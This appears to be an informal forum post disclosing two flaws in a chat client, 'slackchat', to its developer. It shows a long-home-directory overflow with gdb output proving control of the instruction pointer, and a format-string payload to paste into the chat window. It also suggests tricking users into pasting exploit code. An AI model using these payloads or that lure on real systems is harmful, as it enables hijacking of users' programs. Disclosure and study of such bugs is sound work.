*pokes tmp*
Set your home directory to a very long string
iago@slayer:~$ sudo usermod -d `perl -e "print 'A'x10000"` iago
iago@slayer:~$ slackchat
Segmentation fault
iago@slayer:~$ gdb slackchat
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This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) run
Starting program: /usr/local/bin/slackchat
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
I know, you need root, and that's boring.
How about a...... format string vuln?
Type "%08X-%08X-%08X-%08X-%08X-%08X-%08X- ****%s**** -%08X-%08X-%08X" into the chat window, then press left. :-o!
The parameter with the *'s around it is the one that points to the format string in memory. If you wanted to take control of the program, you can take advantage of that parameter. Just tell them "Hey, paste this into your window", with the exploit code. Woo!
This is nothing serious, 100% local and useless attack. But hopefully Tmp will see this. :-)